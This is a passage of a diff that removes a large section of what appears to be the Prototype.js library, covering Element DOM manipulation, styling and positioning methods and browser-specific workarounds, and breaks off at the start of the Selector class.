-  },
-
-  up: function(element, expression, index) {
-    element = $(element);
-    if (arguments.length == 1) return $(element.parentNode);
-    var ancestors = Element.ancestors(element);
-    return Object.isNumber(expression) ? ancestors[expression] :
-      Selector.findElement(ancestors, expression, index);
-  },
-
-  down: function(element, expression, index) {
-    element = $(element);
-    if (arguments.length == 1) return Element.firstDescendant(element);
-    return Object.isNumber(expression) ? Element.descendants(element)[expression] :
-      Element.select(element, expression)[index || 0];
-  },
-
-  previous: function(element, expression, index) {
-    element = $(element);
-    if (arguments.length == 1) return $(Selector.handlers.previousElementSibling(element));
-    var previousSiblings = Element.previousSiblings(element);
-    return Object.isNumber(expression) ? previousSiblings[expression] :
-      Selector.findElement(previousSiblings, expression, index);
-  },
-
-  next: function(element, expression, index) {
-    element = $(element);
-    if (arguments.length == 1) return $(Selector.handlers.nextElementSibling(element));
-    var nextSiblings = Element.nextSiblings(element);
-    return Object.isNumber(expression) ? nextSiblings[expression] :
-      Selector.findElement(nextSiblings, expression, index);
-  },
-
-
-  select: function(element) {
-    var args = Array.prototype.slice.call(arguments, 1);
-    return Selector.findChildElements(element, args);
-  },
-
-  adjacent: function(element) {
-    var args = Array.prototype.slice.call(arguments, 1);
-    return Selector.findChildElements(element.parentNode, args).without(element);
-  },
-
-  identify: function(element) {
-    element = $(element);
-    var id = Element.readAttribute(element, 'id');
-    if (id) return id;
-    do { id = 'anonymous_element_' + Element.idCounter++ } while ($(id));
-    Element.writeAttribute(element, 'id', id);
-    return id;
-  },
-
-  readAttribute: function(element, name) {
-    element = $(element);
-    if (Prototype.Browser.IE) {
-      var t = Element._attributeTranslations.read;
-      if (t.values[name]) return t.values[name](element, name);
-      if (t.names[name]) name = t.names[name];
-      if (name.include(':')) {
-        return (!element.attributes || !element.attributes[name]) ? null :
-         element.attributes[name].value;
-      }
-    }
-    return element.getAttribute(name);
-  },
-
-  writeAttribute: function(element, name, value) {
-    element = $(element);
-    var attributes = { }, t = Element._attributeTranslations.write;
-
-    if (typeof name == 'object') attributes = name;
-    else attributes[name] = Object.isUndefined(value) ? true : value;
-
-    for (var attr in attributes) {
-      name = t.names[attr] || attr;
-      value = attributes[attr];
-      if (t.values[attr]) name = t.values[attr](element, value);
-      if (value === false || value === null)
-        element.removeAttribute(name);
-      else if (value === true)
-        element.setAttribute(name, name);
-      else element.setAttribute(name, value);
-    }
-    return element;
-  },
-
-  getHeight: function(element) {
-    return Element.getDimensions(element).height;
-  },
-
-  getWidth: function(element) {
-    return Element.getDimensions(element).width;
-  },
-
-  classNames: function(element) {
-    return new Element.ClassNames(element);
-  },
-
-  hasClassName: function(element, className) {
-    if (!(element = $(element))) return;
-    var elementClassName = element.className;
-    return (elementClassName.length > 0 && (elementClassName == className ||
-      new RegExp("(^|\\s)" + className + "(\\s|$)").test(elementClassName)));
-  },
-
-  addClassName: function(element, className) {
-    if (!(element = $(element))) return;
-    if (!Element.hasClassName(element, className))
-      element.className += (element.className ? ' ' : '') + className;
-    return element;
-  },
-
-  removeClassName: function(element, className) {
-    if (!(element = $(element))) return;
-    element.className = element.className.replace(
-      new RegExp("(^|\\s+)" + className + "(\\s+|$)"), ' ').strip();
-    return element;
-  },
-
-  toggleClassName: function(element, className) {
-    if (!(element = $(element))) return;
-    return Element[Element.hasClassName(element, className) ?
-      'removeClassName' : 'addClassName'](element, className);
-  },
-
-  cleanWhitespace: function(element) {
-    element = $(element);
-    var node = element.firstChild;
-    while (node) {
-      var nextNode = node.nextSibling;
-      if (node.nodeType == 3 && !/\S/.test(node.nodeValue))
-        element.removeChild(node);
-      node = nextNode;
-    }
-    return element;
-  },
-
-  empty: function(element) {
-    return $(element).innerHTML.blank();
-  },
-
-  descendantOf: function(element, ancestor) {
-    element = $(element), ancestor = $(ancestor);
-
-    if (element.compareDocumentPosition)
-      return (element.compareDocumentPosition(ancestor) & 8) === 8;
-
-    if (ancestor.contains)
-      return ancestor.contains(element) && ancestor !== element;
-
-    while (element = element.parentNode)
-      if (element == ancestor) return true;
-
-    return false;
-  },
-
-  scrollTo: function(element) {
-    element = $(element);
-    var pos = Element.cumulativeOffset(element);
-    window.scrollTo(pos[0], pos[1]);
-    return element;
-  },
-
-  getStyle: function(element, style) {
-    element = $(element);
-    style = style == 'float' ? 'cssFloat' : style.camelize();
-    var value = element.style[style];
-    if (!value || value == 'auto') {
-      var css = document.defaultView.getComputedStyle(element, null);
-      value = css ? css[style] : null;
-    }
-    if (style == 'opacity') return value ? parseFloat(value) : 1.0;
-    return value == 'auto' ? null : value;
-  },
-
-  getOpacity: function(element) {
-    return $(element).getStyle('opacity');
-  },
-
-  setStyle: function(element, styles) {
-    element = $(element);
-    var elementStyle = element.style, match;
-    if (Object.isString(styles)) {
-      element.style.cssText += ';' + styles;
-      return styles.include('opacity') ?
-        element.setOpacity(styles.match(/opacity:\s*(\d?\.?\d*)/)[1]) : element;
-    }
-    for (var property in styles)
-      if (property == 'opacity') element.setOpacity(styles[property]);
-      else
-        elementStyle[(property == 'float' || property == 'cssFloat') ?
-          (Object.isUndefined(elementStyle.styleFloat) ? 'cssFloat' : 'styleFloat') :
-            property] = styles[property];
-
-    return element;
-  },
-
-  setOpacity: function(element, value) {
-    element = $(element);
-    element.style.opacity = (value == 1 || value === '') ? '' :
-      (value < 0.00001) ? 0 : value;
-    return element;
-  },
-
-  getDimensions: function(element) {
-    element = $(element);
-    var display = Element.getStyle(element, 'display');
-    if (display != 'none' && display != null) // Safari bug
-      return {width: element.offsetWidth, height: element.offsetHeight};
-
-    var els = element.style;
-    var originalVisibility = els.visibility;
-    var originalPosition = els.position;
-    var originalDisplay = els.display;
-    els.visibility = 'hidden';
-    if (originalPosition != 'fixed') // Switching fixed to absolute causes issues in Safari
-      els.position = 'absolute';
-    els.display = 'block';
-    var originalWidth = element.clientWidth;
-    var originalHeight = element.clientHeight;
-    els.display = originalDisplay;
-    els.position = originalPosition;
-    els.visibility = originalVisibility;
-    return {width: originalWidth, height: originalHeight};
-  },
-
-  makePositioned: function(element) {
-    element = $(element);
-    var pos = Element.getStyle(element, 'position');
-    if (pos == 'static' || !pos) {
-      element._madePositioned = true;
-      element.style.position = 'relative';
-      if (Prototype.Browser.Opera) {
-        element.style.top = 0;
-        element.style.left = 0;
-      }
-    }
-    return element;
-  },
-
-  undoPositioned: function(element) {
-    element = $(element);
-    if (element._madePositioned) {
-      element._madePositioned = undefined;
-      element.style.position =
-        element.style.top =
-        element.style.left =
-        element.style.bottom =
-        element.style.right = '';
-    }
-    return element;
-  },
-
-  makeClipping: function(element) {
-    element = $(element);
-    if (element._overflow) return element;
-    element._overflow = Element.getStyle(element, 'overflow') || 'auto';
-    if (element._overflow !== 'hidden')
-      element.style.overflow = 'hidden';
-    return element;
-  },
-
-  undoClipping: function(element) {
-    element = $(element);
-    if (!element._overflow) return element;
-    element.style.overflow = element._overflow == 'auto' ? '' : element._overflow;
-    element._overflow = null;
-    return element;
-  },
-
-  cumulativeOffset: function(element) {
-    var valueT = 0, valueL = 0;
-    do {
-      valueT += element.offsetTop  || 0;
-      valueL += element.offsetLeft || 0;
-      element = element.offsetParent;
-    } while (element);
-    return Element._returnOffset(valueL, valueT);
-  },
-
-  positionedOffset: function(element) {
-    var valueT = 0, valueL = 0;
-    do {
-      valueT += element.offsetTop  || 0;
-      valueL += element.offsetLeft || 0;
-      element = element.offsetParent;
-      if (element) {
-        if (element.tagName.toUpperCase() == 'BODY') break;
-        var p = Element.getStyle(element, 'position');
-        if (p !== 'static') break;
-      }
-    } while (element);
-    return Element._returnOffset(valueL, valueT);
-  },
-
-  absolutize: function(element) {
-    element = $(element);
-    if (Element.getStyle(element, 'position') == 'absolute') return element;
-
-    var offsets = Element.positionedOffset(element);
-    var top     = offsets[1];
-    var left    = offsets[0];
-    var width   = element.clientWidth;
-    var height  = element.clientHeight;
-
-    element._originalLeft   = left - parseFloat(element.style.left  || 0);
-    element._originalTop    = top  - parseFloat(element.style.top || 0);
-    element._originalWidth  = element.style.width;
-    element._originalHeight = element.style.height;
-
-    element.style.position = 'absolute';
-    element.style.top    = top + 'px';
-    element.style.left   = left + 'px';
-    element.style.width  = width + 'px';
-    element.style.height = height + 'px';
-    return element;
-  },
-
-  relativize: function(element) {
-    element = $(element);
-    if (Element.getStyle(element, 'position') == 'relative') return element;
-
-    element.style.position = 'relative';
-    var top  = parseFloat(element.style.top  || 0) - (element._originalTop || 0);
-    var left = parseFloat(element.style.left || 0) - (element._originalLeft || 0);
-
-    element.style.top    = top + 'px';
-    element.style.left   = left + 'px';
-    element.style.height = element._originalHeight;
-    element.style.width  = element._originalWidth;
-    return element;
-  },
-
-  cumulativeScrollOffset: function(element) {
-    var valueT = 0, valueL = 0;
-    do {
-      valueT += element.scrollTop  || 0;
-      valueL += element.scrollLeft || 0;
-      element = element.parentNode;
-    } while (element);
-    return Element._returnOffset(valueL, valueT);
-  },
-
-  getOffsetParent: function(element) {
-    if (element.offsetParent) return $(element.offsetParent);
-    if (element == document.body) return $(element);
-
-    while ((element = element.parentNode) && element != document.body)
-      if (Element.getStyle(element, 'position') != 'static')
-        return $(element);
-
-    return $(document.body);
-  },
-
-  viewportOffset: function(forElement) {
-    var valueT = 0, valueL = 0;
-
-    var element = forElement;
-    do {
-      valueT += element.offsetTop  || 0;
-      valueL += element.offsetLeft || 0;
-
-      if (element.offsetParent == document.body &&
-        Element.getStyle(element, 'position') == 'absolute') break;
-
-    } while (element = element.offsetParent);
-
-    element = forElement;
-    do {
-      if (!Prototype.Browser.Opera || (element.tagName && (element.tagName.toUpperCase() == 'BODY'))) {
-        valueT -= element.scrollTop  || 0;
-        valueL -= element.scrollLeft || 0;
-      }
-    } while (element = element.parentNode);
-
-    return Element._returnOffset(valueL, valueT);
-  },
-
-  clonePosition: function(element, source) {
-    var options = Object.extend({
-      setLeft:    true,
-      setTop:     true,
-      setWidth:   true,
-      setHeight:  true,
-      offsetTop:  0,
-      offsetLeft: 0
-    }, arguments[2] || { });
-
-    source = $(source);
-    var p = Element.viewportOffset(source);
-
-    element = $(element);
-    var delta = [0, 0];
-    var parent = null;
-    if (Element.getStyle(element, 'position') == 'absolute') {
-      parent = Element.getOffsetParent(element);
-      delta = Element.viewportOffset(parent);
-    }
-
-    if (parent == document.body) {
-      delta[0] -= document.body.offsetLeft;
-      delta[1] -= document.body.offsetTop;
-    }
-
-    if (options.setLeft)   element.style.left  = (p[0] - delta[0] + options.offsetLeft) + 'px';
-    if (options.setTop)    element.style.top   = (p[1] - delta[1] + options.offsetTop) + 'px';
-    if (options.setWidth)  element.style.width = source.offsetWidth + 'px';
-    if (options.setHeight) element.style.height = source.offsetHeight + 'px';
-    return element;
-  }
-};
-
-Object.extend(Element.Methods, {
-  getElementsBySelector: Element.Methods.select,
-
-  childElements: Element.Methods.immediateDescendants
-});
-
-Element._attributeTranslations = {
-  write: {
-    names: {
-      className: 'class',
-      htmlFor:   'for'
-    },
-    values: { }
-  }
-};
-
-if (Prototype.Browser.Opera) {
-  Element.Methods.getStyle = Element.Methods.getStyle.wrap(
-    function(proceed, element, style) {
-      switch (style) {
-        case 'left': case 'top': case 'right': case 'bottom':
-          if (proceed(element, 'position') === 'static') return null;
-        case 'height': case 'width':
-          if (!Element.visible(element)) return null;
-
-          var dim = parseInt(proceed(element, style), 10);
-
-          if (dim !== element['offset' + style.capitalize()])
-            return dim + 'px';
-
-          var properties;
-          if (style === 'height') {
-            properties = ['border-top-width', 'padding-top',
-             'padding-bottom', 'border-bottom-width'];
-          }
-          else {
-            properties = ['border-left-width', 'padding-left',
-             'padding-right', 'border-right-width'];
-          }
-          return properties.inject(dim, function(memo, property) {
-            var val = proceed(element, property);
-            return val === null ? memo : memo - parseInt(val, 10);
-          }) + 'px';
-        default: return proceed(element, style);
-      }
-    }
-  );
-
-  Element.Methods.readAttribute = Element.Methods.readAttribute.wrap(
-    function(proceed, element, attribute) {
-      if (attribute === 'title') return element.title;
-      return proceed(element, attribute);
-    }
-  );
-}
-
-else if (Prototype.Browser.IE) {
-  Element.Methods.getOffsetParent = Element.Methods.getOffsetParent.wrap(
-    function(proceed, element) {
-      element = $(element);
-      try { element.offsetParent }
-      catch(e) { return $(document.body) }
-      var position = element.getStyle('position');
-      if (position !== 'static') return proceed(element);
-      element.setStyle({ position: 'relative' });
-      var value = proceed(element);
-      element.setStyle({ position: position });
-      return value;
-    }
-  );
-
-  $w('positionedOffset viewportOffset').each(function(method) {
-    Element.Methods[method] = Element.Methods[method].wrap(
-      function(proceed, element) {
-        element = $(element);
-        try { element.offsetParent }
-        catch(e) { return Element._returnOffset(0,0) }
-        var position = element.getStyle('position');
-        if (position !== 'static') return proceed(element);
-        var offsetParent = element.getOffsetParent();
-        if (offsetParent && offsetParent.getStyle('position') === 'fixed')
-          offsetParent.setStyle({ zoom: 1 });
-        element.setStyle({ position: 'relative' });
-        var value = proceed(element);
-        element.setStyle({ position: position });
-        return value;
-      }
-    );
-  });
-
-  Element.Methods.cumulativeOffset = Element.Methods.cumulativeOffset.wrap(
-    function(proceed, element) {
-      try { element.offsetParent }
-      catch(e) { return Element._returnOffset(0,0) }
-      return proceed(element);
-    }
-  );
-
-  Element.Methods.getStyle = function(element, style) {
-    element = $(element);
-    style = (style == 'float' || style == 'cssFloat') ? 'styleFloat' : style.camelize();
-    var value = element.style[style];
-    if (!value && element.currentStyle) value = element.currentStyle[style];
-
-    if (style == 'opacity') {
-      if (value = (element.getStyle('filter') || '').match(/alpha\(opacity=(.*)\)/))
-        if (value[1]) return parseFloat(value[1]) / 100;
-      return 1.0;
-    }
-
-    if (value == 'auto') {
-      if ((style == 'width' || style == 'height') && (element.getStyle('display') != 'none'))
-        return element['offset' + style.capitalize()] + 'px';
-      return null;
-    }
-    return value;
-  };
-
-  Element.Methods.setOpacity = function(element, value) {
-    function stripAlpha(filter){
-      return filter.replace(/alpha\([^\)]*\)/gi,'');
-    }
-    element = $(element);
-    var currentStyle = element.currentStyle;
-    if ((currentStyle && !currentStyle.hasLayout) ||
-      (!currentStyle && element.style.zoom == 'normal'))
-        element.style.zoom = 1;
-
-    var filter = element.getStyle('filter'), style = element.style;
-    if (value == 1 || value === '') {
-      (filter = stripAlpha(filter)) ?
-        style.filter = filter : style.removeAttribute('filter');
-      return element;
-    } else if (value < 0.00001) value = 0;
-    style.filter = stripAlpha(filter) +
-      'alpha(opacity=' + (value * 100) + ')';
-    return element;
-  };
-
-  Element._attributeTranslations = (function(){
-
-    var classProp = 'className';
-    var forProp = 'for';
-
-    var el = document.createElement('div');
-
-    el.setAttribute(classProp, 'x');
-
-    if (el.className !== 'x') {
-      el.setAttribute('class', 'x');
-      if (el.className === 'x') {
-        classProp = 'class';
-      }
-    }
-    el = null;
-
-    el = document.createElement('label');
-    el.setAttribute(forProp, 'x');
-    if (el.htmlFor !== 'x') {
-      el.setAttribute('htmlFor', 'x');
-      if (el.htmlFor === 'x') {
-        forProp = 'htmlFor';
-      }
-    }
-    el = null;
-
-    return {
-      read: {
-        names: {
-          'class':      classProp,
-          'className':  classProp,
-          'for':        forProp,
-          'htmlFor':    forProp
-        },
-        values: {
-          _getAttr: function(element, attribute) {
-            return element.getAttribute(attribute);
-          },
-          _getAttr2: function(element, attribute) {
-            return element.getAttribute(attribute, 2);
-          },
-          _getAttrNode: function(element, attribute) {
-            var node = element.getAttributeNode(attribute);
-            return node ? node.value : "";
-          },
-          _getEv: (function(){
-
-            var el = document.createElement('div');
-            el.onclick = Prototype.emptyFunction;
-            var value = el.getAttribute('onclick');
-            var f;
-
-            if (String(value).indexOf('{') > -1) {
-              f = function(element, attribute) {
-                attribute = element.getAttribute(attribute);
-                if (!attribute) return null;
-                attribute = attribute.toString();
-                attribute = attribute.split('{')[1];
-                attribute = attribute.split('}')[0];
-                return attribute.strip();
-              };
-            }
-            else if (value === '') {
-              f = function(element, attribute) {
-                attribute = element.getAttribute(attribute);
-                if (!attribute) return null;
-                return attribute.strip();
-              };
-            }
-            el = null;
-            return f;
-          })(),
-          _flag: function(element, attribute) {
-            return $(element).hasAttribute(attribute) ? attribute : null;
-          },
-          style: function(element) {
-            return element.style.cssText.toLowerCase();
-          },
-          title: function(element) {
-            return element.title;
-          }
-        }
-      }
-    }
-  })();
-
-  Element._attributeTranslations.write = {
-    names: Object.extend({
-      cellpadding: 'cellPadding',
-      cellspacing: 'cellSpacing'
-    }, Element._attributeTranslations.read.names),
-    values: {
-      checked: function(element, value) {
-        element.checked = !!value;
-      },
-
-      style: function(element, value) {
-        element.style.cssText = value ? value : '';
-      }
-    }
-  };
-
-  Element._attributeTranslations.has = {};
-
-  $w('colSpan rowSpan vAlign dateTime accessKey tabIndex ' +
-      'encType maxLength readOnly longDesc frameBorder').each(function(attr) {
-    Element._attributeTranslations.write.names[attr.toLowerCase()] = attr;
-    Element._attributeTranslations.has[attr.toLowerCase()] = attr;
-  });
-
-  (function(v) {
-    Object.extend(v, {
-      href:        v._getAttr2,
-      src:         v._getAttr2,
-      type:        v._getAttr,
-      action:      v._getAttrNode,
-      disabled:    v._flag,
-      checked:     v._flag,
-      readonly:    v._flag,
-      multiple:    v._flag,
-      onload:      v._getEv,
-      onunload:    v._getEv,
-      onclick:     v._getEv,
-      ondblclick:  v._getEv,
-      onmousedown: v._getEv,
-      onmouseup:   v._getEv,
-      onmouseover: v._getEv,
-      onmousemove: v._getEv,
-      onmouseout:  v._getEv,
-      onfocus:     v._getEv,
-      onblur:      v._getEv,
-      onkeypress:  v._getEv,
-      onkeydown:   v._getEv,
-      onkeyup:     v._getEv,
-      onsubmit:    v._getEv,
-      onreset:     v._getEv,
-      onselect:    v._getEv,
-      onchange:    v._getEv
-    });
-  })(Element._attributeTranslations.read.values);
-
-  if (Prototype.BrowserFeatures.ElementExtensions) {
-    (function() {
-      function _descendants(element) {
-        var nodes = element.getElementsByTagName('*'), results = [];
-        for (var i = 0, node; node = nodes[i]; i++)
-          if (node.tagName !== "!") // Filter out comment nodes.
-            results.push(node);
-        return results;
-      }
-
-      Element.Methods.down = function(element, expression, index) {
-        element = $(element);
-        if (arguments.length == 1) return element.firstDescendant();
-        return Object.isNumber(expression) ? _descendants(element)[expression] :
-          Element.select(element, expression)[index || 0];
-      }
-    })();
-  }
-
-}
-
-else if (Prototype.Browser.Gecko && /rv:1\.8\.0/.test(navigator.userAgent)) {
-  Element.Methods.setOpacity = function(element, value) {
-    element = $(element);
-    element.style.opacity = (value == 1) ? 0.999999 :
-      (value === '') ? '' : (value < 0.00001) ? 0 : value;
-    return element;
-  };
-}
-
-else if (Prototype.Browser.WebKit) {
-  Element.Methods.setOpacity = function(element, value) {
-    element = $(element);
-    element.style.opacity = (value == 1 || value === '') ? '' :
-      (value < 0.00001) ? 0 : value;
-
-    if (value == 1)
-      if(element.tagName.toUpperCase() == 'IMG' && element.width) {
-        element.width++; element.width--;
-      } else try {
-        var n = document.createTextNode(' ');
-        element.appendChild(n);
-        element.removeChild(n);
-      } catch (e) { }
-
-    return element;
-  };
-
-  Element.Methods.cumulativeOffset = function(element) {
-    var valueT = 0, valueL = 0;
-    do {
-      valueT += element.offsetTop  || 0;
-      valueL += element.offsetLeft || 0;
-      if (element.offsetParent == document.body)
-        if (Element.getStyle(element, 'position') == 'absolute') break;
-
-      element = element.offsetParent;
-    } while (element);
-
-    return Element._returnOffset(valueL, valueT);
-  };
-}
-
-if ('outerHTML' in document.documentElement) {
-  Element.Methods.replace = function(element, content) {
-    element = $(element);
-
-    if (content && content.toElement) content = content.toElement();
-    if (Object.isElement(content)) {
-      element.parentNode.replaceChild(content, element);
-      return element;
-    }
-
-    content = Object.toHTML(content);
-    var parent = element.parentNode, tagName = parent.tagName.toUpperCase();
-
-    if (Element._insertionTranslations.tags[tagName]) {
-      var nextSibling = element.next();
-      var fragments = Element._getContentFromAnonymousElement(tagName, content.stripScripts());
-      parent.removeChild(element);
-      if (nextSibling)
-        fragments.each(function(node) { parent.insertBefore(node, nextSibling) });
-      else
-        fragments.each(function(node) { parent.appendChild(node) });
-    }
-    else element.outerHTML = content.stripScripts();
-
-    content.evalScripts.bind(content).defer();
-    return element;
-  };
-}
-
-Element._returnOffset = function(l, t) {
-  var result = [l, t];
-  result.left = l;
-  result.top = t;
-  return result;
-};
-
-Element._getContentFromAnonymousElement = function(tagName, html) {
-  var div = new Element('div'), t = Element._insertionTranslations.tags[tagName];
-  if (t) {
-    div.innerHTML = t[0] + html + t[1];
-    t[2].times(function() { div = div.firstChild });
-  } else div.innerHTML = html;
-  return $A(div.childNodes);
-};
-
-Element._insertionTranslations = {
-  before: function(element, node) {
-    element.parentNode.insertBefore(node, element);
-  },
-  top: function(element, node) {
-    element.insertBefore(node, element.firstChild);
-  },
-  bottom: function(element, node) {
-    element.appendChild(node);
-  },
-  after: function(element, node) {
-    element.parentNode.insertBefore(node, element.nextSibling);
-  },
-  tags: {
-    TABLE:  ['<table>',                '</table>',                   1],
-    TBODY:  ['<table><tbody>',         '</tbody></table>',           2],
-    TR:     ['<table><tbody><tr>',     '</tr></tbody></table>',      3],
-    TD:     ['<table><tbody><tr><td>', '</td></tr></tbody></table>', 4],
-    SELECT: ['<select>',               '</select>',                  1]
-  }
-};
-
-(function() {
-  var tags = Element._insertionTranslations.tags;
-  Object.extend(tags, {
-    THEAD: tags.TBODY,
-    TFOOT: tags.TBODY,
-    TH:    tags.TD
-  });
-})();
-
-Element.Methods.Simulated = {
-  hasAttribute: function(element, attribute) {
-    attribute = Element._attributeTranslations.has[attribute] || attribute;
-    var node = $(element).getAttributeNode(attribute);
-    return !!(node && node.specified);
-  }
-};
-
-Element.Methods.ByTag = { };
-
-Object.extend(Element, Element.Methods);
-
-(function(div) {
-
-  if (!Prototype.BrowserFeatures.ElementExtensions && div['__proto__']) {
-    window.HTMLElement = { };
-    window.HTMLElement.prototype = div['__proto__'];
-    Prototype.BrowserFeatures.ElementExtensions = true;
-  }
-
-  div = null;
-
-})(document.createElement('div'))
-
-Element.extend = (function() {
-
-  function checkDeficiency(tagName) {
-    if (typeof window.Element != 'undefined') {
-      var proto = window.Element.prototype;
-      if (proto) {
-        var id = '_' + (Math.random()+'').slice(2);
-        var el = document.createElement(tagName);
-        proto[id] = 'x';
-        var isBuggy = (el[id] !== 'x');
-        delete proto[id];
-        el = null;
-        return isBuggy;
-      }
-    }
-    return false;
-  }
-
-  function extendElementWith(element, methods) {
-    for (var property in methods) {
-      var value = methods[property];
-      if (Object.isFunction(value) && !(property in element))
-        element[property] = value.methodize();
-    }
-  }
-
-  var HTMLOBJECTELEMENT_PROTOTYPE_BUGGY = checkDeficiency('object');
-
-  if (Prototype.BrowserFeatures.SpecificElementExtensions) {
-    if (HTMLOBJECTELEMENT_PROTOTYPE_BUGGY) {
-      return function(element) {
-        if (element && typeof element._extendedByPrototype == 'undefined') {
-          var t = element.tagName;
-          if (t && (/^(?:object|applet|embed)$/i.test(t))) {
-            extendElementWith(element, Element.Methods);
-            extendElementWith(element, Element.Methods.Simulated);
-            extendElementWith(element, Element.Methods.ByTag[t.toUpperCase()]);
-          }
-        }
-        return element;
-      }
-    }
-    return Prototype.K;
-  }
-
-  var Methods = { }, ByTag = Element.Methods.ByTag;
-
-  var extend = Object.extend(function(element) {
-    if (!element || typeof element._extendedByPrototype != 'undefined' ||
-        element.nodeType != 1 || element == window) return element;
-
-    var methods = Object.clone(Methods),
-        tagName = element.tagName.toUpperCase();
-
-    if (ByTag[tagName]) Object.extend(methods, ByTag[tagName]);
-
-    extendElementWith(element, methods);
-
-    element._extendedByPrototype = Prototype.emptyFunction;
-    return element;
-
-  }, {
-    refresh: function() {
-      if (!Prototype.BrowserFeatures.ElementExtensions) {
-        Object.extend(Methods, Element.Methods);
-        Object.extend(Methods, Element.Methods.Simulated);
-      }
-    }
-  });
-
-  extend.refresh();
-  return extend;
-})();
-
-Element.hasAttribute = function(element, attribute) {
-  if (element.hasAttribute) return element.hasAttribute(attribute);
-  return Element.Methods.Simulated.hasAttribute(element, attribute);
-};
-
-Element.addMethods = function(methods) {
-  var F = Prototype.BrowserFeatures, T = Element.Methods.ByTag;
-
-  if (!methods) {
-    Object.extend(Form, Form.Methods);
-    Object.extend(Form.Element, Form.Element.Methods);
-    Object.extend(Element.Methods.ByTag, {
-      "FORM":     Object.clone(Form.Methods),
-      "INPUT":    Object.clone(Form.Element.Methods),
-      "SELECT":   Object.clone(Form.Element.Methods),
-      "TEXTAREA": Object.clone(Form.Element.Methods)
-    });
-  }
-
-  if (arguments.length == 2) {
-    var tagName = methods;
-    methods = arguments[1];
-  }
-
-  if (!tagName) Object.extend(Element.Methods, methods || { });
-  else {
-    if (Object.isArray(tagName)) tagName.each(extend);
-    else extend(tagName);
-  }
-
-  function extend(tagName) {
-    tagName = tagName.toUpperCase();
-    if (!Element.Methods.ByTag[tagName])
-      Element.Methods.ByTag[tagName] = { };
-    Object.extend(Element.Methods.ByTag[tagName], methods);
-  }
-
-  function copy(methods, destination, onlyIfAbsent) {
-    onlyIfAbsent = onlyIfAbsent || false;
-    for (var property in methods) {
-      var value = methods[property];
-      if (!Object.isFunction(value)) continue;
-      if (!onlyIfAbsent || !(property in destination))
-        destination[property] = value.methodize();
-    }
-  }
-
-  function findDOMClass(tagName) {
-    var klass;
-    var trans = {
-      "OPTGROUP": "OptGroup", "TEXTAREA": "TextArea", "P": "Paragraph",
-      "FIELDSET": "FieldSet", "UL": "UList", "OL": "OList", "DL": "DList",
-      "DIR": "Directory", "H1": "Heading", "H2": "Heading", "H3": "Heading",
-      "H4": "Heading", "H5": "Heading", "H6": "Heading", "Q": "Quote",
-      "INS": "Mod", "DEL": "Mod", "A": "Anchor", "IMG": "Image", "CAPTION":
-      "TableCaption", "COL": "TableCol", "COLGROUP": "TableCol", "THEAD":
-      "TableSection", "TFOOT": "TableSection", "TBODY": "TableSection", "TR":
-      "TableRow", "TH": "TableCell", "TD": "TableCell", "FRAMESET":
-      "FrameSet", "IFRAME": "IFrame"
-    };
-    if (trans[tagName]) klass = 'HTML' + trans[tagName] + 'Element';
-    if (window[klass]) return window[klass];
-    klass = 'HTML' + tagName + 'Element';
-    if (window[klass]) return window[klass];
-    klass = 'HTML' + tagName.capitalize() + 'Element';
-    if (window[klass]) return window[klass];
-
-    var element = document.createElement(tagName);
-    var proto = element['__proto__'] || element.constructor.prototype;
-    element = null;
-    return proto;
-  }
-
-  var elementPrototype = window.HTMLElement ? HTMLElement.prototype :
-   Element.prototype;
-
-  if (F.ElementExtensions) {
-    copy(Element.Methods, elementPrototype);
-    copy(Element.Methods.Simulated, elementPrototype, true);
-  }
-
-  if (F.SpecificElementExtensions) {
-    for (var tag in Element.Methods.ByTag) {
-      var klass = findDOMClass(tag);
-      if (Object.isUndefined(klass)) continue;
-      copy(T[tag], klass.prototype);
-    }
-  }
-
-  Object.extend(Element, Element.Methods);
-  delete Element.ByTag;
-
-  if (Element.extend.refresh) Element.extend.refresh();
-  Element.cache = { };
-};
-
-
-document.viewport = {
-
-  getDimensions: function() {
-    return { width: this.getWidth(), height: this.getHeight() };
-  },
-
-  getScrollOffsets: function() {
-    return Element._returnOffset(
-      window.pageXOffset || document.documentElement.scrollLeft || document.body.scrollLeft,
-      window.pageYOffset || document.documentElement.scrollTop  || document.body.scrollTop);
-  }
-};
-
-(function(viewport) {
-  var B = Prototype.Browser, doc = document, element, property = {};
-
-  function getRootElement() {
-    if (B.WebKit && !doc.evaluate)
-      return document;
-
-    if (B.Opera && window.parseFloat(window.opera.version()) < 9.5)
-      return document.body;
-
-    return document.documentElement;
-  }
-
-  function define(D) {
-    if (!element) element = getRootElement();
-
-    property[D] = 'client' + D;
-
-    viewport['get' + D] = function() { return element[property[D]] };
-    return viewport['get' + D]();
-  }
-
-  viewport.getWidth  = define.curry('Width');
-
-  viewport.getHeight = define.curry('Height');
-})(document.viewport);
-
-
-Element.Storage = {
-  UID: 1
-};
-
-Element.addMethods({
-  getStorage: function(element) {
-    if (!(element = $(element))) return;
-
-    var uid;
-    if (element === window) {
-      uid = 0;
-    } else {
-      if (typeof element._prototypeUID === "undefined")
-        element._prototypeUID = [Element.Storage.UID++];
-      uid = element._prototypeUID[0];
-    }
-
-    if (!Element.Storage[uid])
-      Element.Storage[uid] = $H();
-
-    return Element.Storage[uid];
-  },
-
-  store: function(element, key, value) {
-    if (!(element = $(element))) return;
-
-    if (arguments.length === 2) {
-      Element.getStorage(element).update(key);
-    } else {
-      Element.getStorage(element).set(key, value);
-    }
-
-    return element;
-  },
-
-  retrieve: function(element, key, defaultValue) {
-    if (!(element = $(element))) return;
-    var hash = Element.getStorage(element), value = hash.get(key);
-
-    if (Object.isUndefined(value)) {
-      hash.set(key, defaultValue);
-      value = defaultValue;
-    }
-
-    return value;
-  },
-
-  clone: function(element, deep) {
-    if (!(element = $(element))) return;
-    var clone = element.cloneNode(deep);
-    clone._prototypeUID = void 0;
-    if (deep) {
-      var descendants = Element.select(clone, '*'),
-          i = descendants.length;
-      while (i--) {
-        descendants[i]._prototypeUID = void 0;
-      }
-    }
-    return Element.extend(clone);
-  }
-});
-/* Portions of the Selector class are derived from Jack Slocum's DomQuery,
- * part of YUI-Ext version 0.40, distributed under the terms of an MIT-style
- * license.  Please see http://www.yui-ext.com/ for more information. */
-
-var Selector = Class.create({
-  initialize: function(expression) {
-    this.expression = expression.strip();
-
-    if (this.shouldUseSelectorsAPI()) {
-      this.mode = 'selectorsAPI';
-    } else if (this.shouldUseXPath()) {
-      this.mode = 'xpath';
-      this.compileXPathMatcher();
-    } else {
-      this.mode = "normal";
-      this.compileMatcher();
-    }
-
-  },
-
-  shouldUseXPath: (function() {
-
-    var IS_DESCENDANT_SELECTOR_BUGGY = (function(){
-      var isBuggy = false;
-      if (document.evaluate && window.XPathResult) {
